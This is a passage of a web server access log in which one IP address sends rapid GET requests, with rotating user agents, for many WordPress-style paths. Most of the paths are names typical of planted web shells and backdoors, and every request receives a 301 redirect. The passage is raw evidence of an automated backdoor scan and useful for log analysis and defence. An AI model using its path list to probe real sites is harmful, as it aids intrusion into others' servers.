+0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:35 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:35 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:39:36 +0300] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:36 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:36 +0300] "GET /wp-includes/infi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:37 +0300] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:37 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:37 +0300] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 203.188.168.29 - - [12/Feb/2026:14:39:38 +0300] "GET /css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:38 +0300] "GET /images/index22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:39 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:39 +0300] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:39 +0300] "GET /wp-includes/pomo/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:40 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:40 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:39:40 +0300] "GET /assets/script.js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:41 +0300] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:41 +0300] "GET /wp-admin/css/colors/sunrise/colors_95.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 203.188.168.29 - - [12/Feb/2026:14:39:41 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:42 +0300] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:42 +0300] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:42 +0300] "GET /cgi-bin/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:43 +0300] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 203.188.168.29 - - [12/Feb/2026:14:39:43 +0300] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:43 +0300] "GET /wp-includes/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:44 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:44 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:44 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:45 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:45 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:46 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:46 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:46 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:47 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:47 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:47 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:48 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:48 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:48 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:49 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:49 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:50 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:50 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:50 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:51 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:51 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:51 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:52 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:52 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:52 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:39:53 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:53 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:53 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 203.188.168.29 - - [12/Feb/2026:14:39:54 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:39:54 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:55 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:39:55 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:55 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:39:55 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:56 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:56 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:57 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:57 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:57 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:39:58 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:39:58 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:58 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:39:59 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:39:59 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:39:59 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 203.188.168.29 - - [12/Feb/2026:14:40:00 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:00 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:00 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:01 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:01 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:01 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 203.188.168.29 - - [12/Feb/2026:14:40:02 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:02 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:02 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:03 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:03 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:04 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:04 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:04 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:40:05 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:05 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 203.188.168.29 - - [12/Feb/2026:14:40:05 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:06 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 203.188.168.29 - - [12/Feb/2026:14:40:06 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:06 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:07 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:07 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:07 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:08 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:08 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:08 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:09 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:09 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:10 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:40:10 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:10 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:11 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 203.188.168.29 - - [12/Feb/2026:14:40:11 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 203.188.168.29 - - [12/Feb/2026:14:40:12 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:40:12 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:12 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:13 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 203.188.168.29 - - [12/Feb/2026:14:40:13 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 203.188.168.29 - - [12/Feb/2026:14:40:14 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 203.188.168.29 - - [12/Feb/2026:14:40:14 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 